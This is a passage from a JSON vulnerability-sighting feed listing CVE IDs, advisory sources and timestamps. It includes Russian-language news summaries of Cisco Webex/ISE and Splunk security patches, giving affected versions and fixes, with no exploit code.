\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "71bb7319-4b43-4208-8c06-024f4fa9aaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20829", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "7299c8a2-ddfc-4fa4-a370-08d3960db457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20832", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "08c6d198-7415-4938-b032-9508908b9d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20876", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "809de924-d715-46a7-8659-5a1907fe8296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20927", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "14fa3470-415d-4229-8d91-3cdeb97f7307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "8534a3f1-bc3b-47f8-8240-c402478af238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20940", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "d8d25a15-7bb3-48d5-87c2-80c15fd3e339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20811", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "314d8984-074a-4173-a7ec-21d66d7d09dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20920", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "446fbf94-44ff-44d2-8a38-5580a91de6e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20863", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "298f02ca-1ebd-4f4e-a3af-53367ec96195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20870", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "ff1fed9f-475d-42f5-9bf7-55b3db0b7977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20819", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "af9a1550-dd52-4bec-b553-ee682a3212f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20935", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c4db47e8-8573-401e-8d07-757533662677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20812", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "103ac962-7bbb-4d73-ada4-e86df26fcb95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "2d31d0b0-e416-407c-a77c-fbd89ed5afad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20848", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "e9007aed-748c-4280-ada4-85153379c5a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20834", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "cc6fc70f-4fca-4d18-b0e4-1f5a3917c040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20847", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c2dd8107-2395-412f-80c7-c32459d060b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-20079.yaml", "content": "", "creation_timestamp": "2026-04-13T16:12:01.000000Z"}, {"uuid": "60e1f476-348b-4b2d-8cc7-568c8883d009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mjfo5bnyru2u", "content": "", "creation_timestamp": "2026-04-13T20:07:00.595114Z"}, {"uuid": "635043ba-7059-47e5-a5d4-fc7982767e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20160", "type": "seen", "source": "https://www.cert.se/2026/04/patchtisdag-april-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-04-14T06:20:00.000000Z"}, {"uuid": "f51d6dfa-9c71-488e-850d-36101a8e2e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20093", "type": "seen", "source": "https://www.cert.se/2026/04/patchtisdag-april-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-04-14T06:20:00.000000Z"}, {"uuid": "8eae968f-b22a-4c12-9be9-83c7604807e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20930", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116404238027819761", "content": "", "creation_timestamp": "2026-04-14T17:28:34.935851Z"}, {"uuid": "18ba1756-2f64-4f7d-b5d1-11d285e7ef55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20205", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 